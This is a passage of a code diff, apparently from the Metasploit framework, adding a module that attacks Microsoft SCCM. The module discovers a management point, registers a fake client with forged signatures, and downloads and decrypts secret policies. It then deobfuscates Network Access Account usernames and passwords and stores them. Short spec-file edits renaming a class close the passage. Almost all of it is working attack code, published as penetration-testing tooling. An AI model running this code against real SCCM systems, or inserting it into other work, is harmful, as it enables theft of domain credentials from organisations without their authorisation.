#{ro[:dnshostname].first} (Site code: #{ro[:mssmssitecode].first})") + end + + if raw_objects.length > 1 + print_warning("Found more than one Management Point. Using the first (#{raw_obj[:dnshostname].first})") + end + + obj = {} + obj[:rhost] = raw_obj[:dnshostname].first + obj[:sitecode] = raw_obj[:mssmssitecode].first + + obj + rescue Errno::ECONNRESET + fail_with(Failure::Disconnected, 'The connection was reset.') + rescue Rex::ConnectionError => e + fail_with(Failure::Unreachable, e.message) + rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e + fail_with(Failure::NoAccess, e.message) + rescue Net::LDAP::Error => e + fail_with(Failure::Unknown, "#{e.class}: #{e.message}") + end + end + + def run + management_point = datastore['MANAGEMENT_POINT'] + site_code = datastore['SITE_CODE'] + if management_point.blank? != site_code.blank? + fail_with(Failure::BadConfig, 'Provide both MANAGEMENT_POINT and SITE_CODE, or neither (to perform autodiscovery)') + end + + if management_point.blank? + begin + result = find_management_point + fail_with(Failure::NotFound, 'Failed to find management point') unless result + management_point = result[:rhost] + site_code = result[:site_code] + rescue ::IOError => e + fail_with(Failure::UnexpectedReply, e.message) + end + end + + key, cert = generate_key_and_cert('ConfigMgr Client') + + http_opts = { + 'rhost' => management_point, + 'rport' => 80, + 'username' => datastore['COMPUTER_USER'], + 'password' => datastore['COMPUTER_PASS'], + 'headers' => { + 'User-Agent' => 'ConfigMgr Messaging HTTP Sender', + 'Accept-Encoding' => 'gzip, deflate', + 'Accept' => '*/*' + } + } + + sms_id, ip_address = register_request(http_opts, management_point, key, cert) + duration = 5 + print_status("Waiting #{duration} seconds for SCCM DB to update...") + + sleep(duration) + + secret_urls = get_secret_policies(http_opts, management_point, site_code, key, cert, sms_id) + all_results = Set.new + secret_urls.each do |url| + decrypted_policy = request_policy(http_opts, url, sms_id, key) + results = get_creds_from_policy_doc(decrypted_policy) + all_results.merge(results) + end + + if all_results.empty? + print_status('No NAA credentials configured') + end + + all_results.each do |username, password| + report_creds(ip_address, username, password) + print_good("Found valid NAA credentials: #{username}:#{password}") + end + rescue SocketError => e + fail_with(Failure::Unreachable, e.message) + end + + # Request the policy from the policy_url + def request_policy(http_opts, policy_url, sms_id, key) + policy_url.gsub!(%r{^https?://}, '') + policy_url = policy_url.gsub('{', '%7B').gsub('}', '%7D') + + now = Time.now.utc.iso8601 + client_token = "GUID:#{sms_id};#{now};2" + client_signature = rsa_sign(key, (client_token + "\x00").encode('utf-16le').bytes.pack('C*')) + + opts = http_opts.merge({ + 'uri' => policy_url, + 'method' => 'GET' + }) + opts['headers'] = opts['headers'].merge({ + 'ClientToken' => client_token, + 'ClientTokenSignature' => client_signature + }) + + http_response = send_request_cgi(opts) + http_response.gzip_decode! + + ci = Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(http_response.body) + cms_envelope = ci.enveloped_data + + ri = cms_envelope[:recipient_infos] + if ri.value.empty? + fail_with(Failure::UnexpectedReply, 'No recipient infos provided') + end + + if ri[0][:ktri].nil? + fail_with(Failure::UnexpectedReply, 'KeyTransRecipientInfo not found') + end + + body = cms_envelope[:encrypted_content_info][:encrypted_content].value + + key_encryption_alg = ri[0][:ktri][:key_encryption_algorithm][:algorithm].value + encrypted_rsa_key = ri[0][:ktri][:encrypted_key].value + if key_encryption_alg == Rex::Proto::CryptoAsn1::OIDs::OID_RSA_ENCRYPTION.value + decrypted_key = key.private_decrypt(encrypted_rsa_key) + elsif key_encryption_alg == Rex::Proto::CryptoAsn1::OIDs::OID_RSAES_OAEP.value + decrypted_key = key.private_decrypt(encrypted_rsa_key, OpenSSL::PKey::RSA::PKCS1_OAEP_PADDING) + else + fail_with(Failure::UnexpectedReply, "Key encryption routine is currently unsupported: #{key_encryption_alg}") + end + + cea = cms_envelope[:encrypted_content_info][:content_encryption_algorithm] + algorithms = { + Rex::Proto::CryptoAsn1::OIDs::OID_AES256_CBC.value => { iv_length: 16, key_length: 32, cipher_name: 'aes-256-cbc' }, + Rex::Proto::CryptoAsn1::OIDs::OID_DES_EDE3_CBC.value => { iv_length: 8, key_length: 24, cipher_name: 'des-ede3-cbc' } + } + if algorithms.include?(cea[:algorithm].value) + alg_hash = algorithms[cea[:algorithm].value] + if decrypted_key.length != alg_hash[:key_length] + fail_with(Failure::UnexpectedReply, "Bad key length: #{decrypted_key.length}") + end + iv = RASN1::Types::OctetString.new + iv.parse!(cea[:parameters].value) + if iv.value.length != alg_hash[:iv_length] + fail_with(Failure::UnexpectedReply, "Bad IV length: #{iv.length}") + end + cipher = OpenSSL::Cipher.new(alg_hash[:cipher_name]) + cipher.decrypt + cipher.key = decrypted_key + cipher.iv = iv.value + + decrypted = cipher.update(body) + cipher.final + else + fail_with(Failure::UnexpectedReply, "Decryption routine is currently unsupported: #{cea[:algorithm].value}") + end + + decrypted.force_encoding('utf-16le').encode('utf-8').delete_suffix("\x00") + end + + # Retrieve all the policies with secret components in them + def get_secret_policies(http_opts, management_point, site_code, key, cert, sms_id) + computer_user = datastore['COMPUTER_USER'].delete_suffix('$') + fqdn = "#{computer_user}.#{datastore['DOMAIN']}" + hex_pub_key = make_ms_pubkey(cert.public_key) + guid = SecureRandom.uuid.upcase + sent_time = Time.now.utc.iso8601 + sccm_host = management_point.downcase + request_assignments = "GUID:#{sms_id}#{fqdn}#{computer_user}SMS:#{site_code}\x00" + request_assignments.encode!('utf-16le') + body_length = request_assignments.bytes.length + request_assignments = request_assignments.bytes.pack('C*') + "\r\n" + compressed = Rex::Text.zlib_deflate(request_assignments) + + payload_signature = rsa_sign(key, compressed) + + client_id = "GUID:{#{sms_id.upcase}}\x00" + client_ids_signature = rsa_sign(key, client_id.encode('utf-16le')) + header = "{00000000-0000-0000-0000-000000000000}#{computer_user}#{hex_pub_key}#{client_ids_signature}#{payload_signature}NonSSL1.2.840.113549.1.1.11{#{guid}}0httpSyncdirect:#{computer_user}:SccmMessaging#{sent_time}GUID:#{sms_id}#{computer_user}mp:MP_PolicyManagerMP_PolicyManager#{sccm_host}60000" + + message = Rex::MIME::Message.new + message.bound = 'aAbBcCdDv1234567890VxXyYzZ' + + message.add_part("\ufeff#{header}".encode('utf-16le').bytes.pack('C*'), 'text/plain; charset=UTF-16', nil) + message.add_part(compressed, 'application/octet-stream', 'binary') + opts = http_opts.merge({ + 'uri' => '/ccm_system/request', + 'method' => 'CCM_POST', + 'data' => message.to_s + }) + opts['headers'] = opts['headers'].merge({ + 'Content-Type' => 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"' + }) + http_response = send_request_cgi(opts) + response = Rex::MIME::Message.new(http_response.to_s) + + compressed_response = Rex::Text.zlib_inflate(response.parts[1].content).force_encoding('utf-16le') + xml_doc = Nokogiri::XML(compressed_response.encode('utf-8')) + policies = xml_doc.xpath('//Policy') + secret_policies = policies.select do |policy| + flags = policy.attributes['PolicyFlags'] + next if flags.nil? + + flags.value.to_i & SECRET_POLICY_FLAG == SECRET_POLICY_FLAG + end + + urls = secret_policies.map do |policy| + policy.xpath('PolicyLocation/text()').text + end + + urls = urls.reject(&:blank?) + + urls.each do |url| + print_status("Found policy containing secrets: #{url}") + end + + urls + end + + # Sign the data using the RSA key, and reverse it (strange, but it's what's required) + def rsa_sign(key, data) + signature = key.sign(OpenSSL::Digest.new('SHA256'), data) + signature.reverse! + + signature.unpack('H*')[0].upcase + end + + # Make a pubkey structure (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/ade9efde-3ec8-4e47-9ae9-34b64d8081bb) + def make_ms_pubkey(pub_key) + result = "\x06\x02\x00\x00\x00\xA4\x00\x00\x52\x53\x41\x31" + result += [KEY_SIZE, pub_key.e].pack('II') + result += [pub_key.n.to_s(16)].pack('H*') + + result.unpack('H*')[0] + end + + # Make a request to the SCCM server to register our computer + def register_request(http_opts, management_point, key, cert) + pub_key = cert.to_der.unpack('H*')[0].upcase + + computer_user = datastore['COMPUTER_USER'].delete_suffix('$') + fqdn = "#{computer_user}.#{datastore['DOMAIN']}" + sent_time = Time.now.utc.iso8601 + registration_request_data = "#{pub_key}#{pub_key}" + + signature = rsa_sign(key, registration_request_data.encode('utf-16le')) + + registration_request = "#{registration_request_data}#{signature}\x00" + + rr_utf16 = '' + rr_utf16 << registration_request.encode('utf-16le').bytes.pack('C*') + body_length = rr_utf16.length + rr_utf16 << "\r\n" + + header = "{00000000-0000-0000-0000-000000000000}{5DD100CD-DF1D-45F5-BA17-A327F43465F8}0httpSyncdirect:#{computer_user}:SccmMessaging#{sent_time}#{computer_user}mp:MP_ClientRegistrationMP_ClientRegistration#{management_point.downcase}60000" + + message = Rex::MIME::Message.new + message.bound = 'aAbBcCdDv1234567890VxXyYzZ' + + message.add_part("\ufeff#{header}".encode('utf-16le').bytes.pack('C*'), 'text/plain; charset=UTF-16', nil) + message.add_part(Rex::Text.zlib_deflate(rr_utf16), 'application/octet-stream', 'binary') + + opts = http_opts.merge({ + 'uri' => '/ccm_system_windowsauth/request', + 'method' => 'CCM_POST', + 'data' => message.to_s + }) + opts['headers'] = opts['headers'].merge({ + 'Content-Type' => 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"' + }) + http_response = send_request_cgi(opts) + if http_response.nil? + fail_with(Failure::Unreachable, 'No response from server') + end + ip_address = http_response.peerinfo['addr'] + response = Rex::MIME::Message.new(http_response.to_s) + if response.parts.empty? + html_doc = Nokogiri::HTML(http_response.to_s) + error = html_doc.xpath('//title').text + if error.blank? + error = 'Bad response from server' + dlog('Response from server:') + dlog(http_response.to_s) + end + fail_with(Failure::UnexpectedReply, error) + end + + response.parts[0].content.force_encoding('utf-16le').encode('utf-8').delete_prefix("\uFEFF") + compressed_response = Rex::Text.zlib_inflate(response.parts[1].content).force_encoding('utf-16le') + xml_doc = Nokogiri::XML(compressed_response.encode('utf-8')) # It's crazy, but XML parsing doesn't work with UTF-16-encoded strings + sms_id = xml_doc.root&.attributes&.[]('SMSID')&.value&.delete_prefix('GUID:') + if sms_id.nil? + approval = xml_doc.root&.attributes&.[]('ApprovalStatus')&.value + if approval == '-1' + fail_with(Failure::UnexpectedReply, 'Client registration not approved by SCCM server') + end + fail_with(Failure::UnexpectedReply, 'Did not retrieve SMS ID') + end + print_status("Got SMS ID: #{sms_id}") + + [sms_id, ip_address] + end + + # Extract obfuscated credentials from the resulting policy XML document + def get_creds_from_policy_doc(policy) + xml_doc = Nokogiri::XML(policy) + naa_sections = xml_doc.xpath(".//instance[@class='CCM_NetworkAccessAccount']") + results = [] + naa_sections.each do |section| + username = section.xpath("property[@name='NetworkAccessUsername']/value").text + username = deobfuscate_policy_value(username) + username.delete_suffix!("\x00") + + password = section.xpath("property[@name='NetworkAccessPassword']/value").text + password = deobfuscate_policy_value(password) + password.delete_suffix!("\x00") + + unless username.blank? && password.blank? + # Deleted credentials seem to result in just an empty value for username and password + results.append([username, password]) + end + end + results + end + + def deobfuscate_policy_value(value) + value = [value.gsub(/[^0-9A-Fa-f]/, '')].pack('H*') + data_length = value[52..55].unpack('I')[0] + buffer = value[64..64 + data_length - 1] + key = mscrypt_derive_key_sha1(value[4..43]) + iv = "\x00" * 8 + cipher = OpenSSL::Cipher.new('des-ede3-cbc') + cipher.decrypt + cipher.iv = iv + cipher.key = key + result = cipher.update(buffer) + cipher.final + + result.force_encoding('utf-16le').encode('utf-8') + end + + def mscrypt_derive_key_sha1(secret) + buf1 = [0x36] * 64 + buf2 = [0x5C] * 64 + + digest = OpenSSL::Digest.new('SHA1') + hash = digest.digest(secret).bytes + + hash.each_with_index do |byte, i| + buf1[i] ^= byte + buf2[i] ^= byte + end + + buf1 = buf1.pack('C*') + buf2 = buf2.pack('C*') + + digest = OpenSSL::Digest.new('SHA1') + hash1 = digest.digest(buf1) + + digest = OpenSSL::Digest.new('SHA1') + hash2 = digest.digest(buf2) + + hash1 + hash2[0..3] + end + + ## Create a self-signed private key and certificate for our computer registration + def generate_key_and_cert(subject) + key = OpenSSL::PKey::RSA.new(KEY_SIZE) + cert = OpenSSL::X509::Certificate.new + cert.version = 2 + cert.serial = (rand(0xFFFFFFFF) << 32) + rand(0xFFFFFFFF) + cert.public_key = key.public_key + cert.issuer = OpenSSL::X509::Name.new([['CN', subject]]) + cert.subject = OpenSSL::X509::Name.new([['CN', subject]]) + yr = 24 * 3600 * 365 + cert.not_before = Time.at(Time.now.to_i - rand(yr * 3) - yr) + cert.not_after = Time.at(cert.not_before.to_i + (rand(4..9) * yr)) + ef = OpenSSL::X509::ExtensionFactory.new + ef.subject_certificate = cert + ef.issuer_certificate = cert + cert.extensions = [ + ef.create_extension('keyUsage', 'digitalSignature,dataEncipherment'), + ef.create_extension('extendedKeyUsage', '1.3.6.1.4.1.311.101.2, 1.3.6.1.4.1.311.101'), + ] + cert.sign(key, OpenSSL::Digest.new('SHA256')) + + [key, cert] + end + + def report_creds(ip_address, user, password) + service_data = { + address: ip_address, + port: rport, + protocol: 'tcp', + service_name: 'sccm', + workspace_id: myworkspace_id + } + + domain, account = user.split(/\\/) + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: account, + private_data: password, + private_type: :password, + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: domain + } + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) + end +end diff --git a/spec/lib/msf/core/exploit/remote/ms_icpr_spec.rb b/spec/lib/msf/core/exploit/remote/ms_icpr_spec.rb index 1fe9316ff647..7a316f6e5c3a 100644 --- a/spec/lib/msf/core/exploit/remote/ms_icpr_spec.rb +++ b/spec/lib/msf/core/exploit/remote/ms_icpr_spec.rb @@ -108,7 +108,7 @@ end let(:content_info) do - Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.parse( + Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse( "\x30\x82\x0b\x71\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x07\x02\xa0\x82\x0b" \ "\x62\x30\x82\x0b\x5e\x02\x01\x03\x31\x0d\x30\x0b\x06\x09\x60\x86\x48\x01" \ "\x65\x03\x04\x02\x01\x30\x82\x02\x6c\x06\x07\x2b\x06\x01\x05\x02\x03\x01" \ @@ -328,7 +328,7 @@ end it 'return a ContentInfo object' do - expect(result).to be_a(Rex::Proto::Kerberos::Model::Pkinit::ContentInfo) + expect(result).to be_a(Rex::Proto::CryptoAsn1::Cms::ContentInfo) end it 'should respond to #to_der' do diff --git a/spec/modules/auxiliary/admin/dcerpc/icpr_cert_spec.rb b/spec/modules/auxiliary/admin/dcerpc/icpr_cert_spec.rb index 5ab10f9b5875..337fa680d8a4 100644 --- a/spec/modules/auxiliary/admin/dcerpc/icpr_cert_spec.rb +++ b/spec/modules/auxiliary/admin/dcerpc/icpr_cert_spec.rb @@ -109,7 +109,7 @@ end let(:content_info) do - Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.parse( + Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse( "\x30\x82\x0b\x71\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x07\x02\xa0\x82\x0b" \ "\x62\x30\x82\x0b\x5e\x02\x01\x03\x31\x0d\x30\x0b\x06\x09\x60\x86\x48\x01" \ "\x65\x03\x04\x02\x01\x30\x82\x02\x6c\x06\x07\x2b\x06\x01\x05\x02\x03\x01" \ @@ -330,7 +330,7 @@ end it 'return a ContentInfo object' do - expect(result).to be_a(Rex::Proto::Kerberos::Model::Pkinit::ContentInfo) + expect(result).to be_a(Rex::Proto::CryptoAsn1::Cms::ContentInfo) end it 'should respond to #to_der' do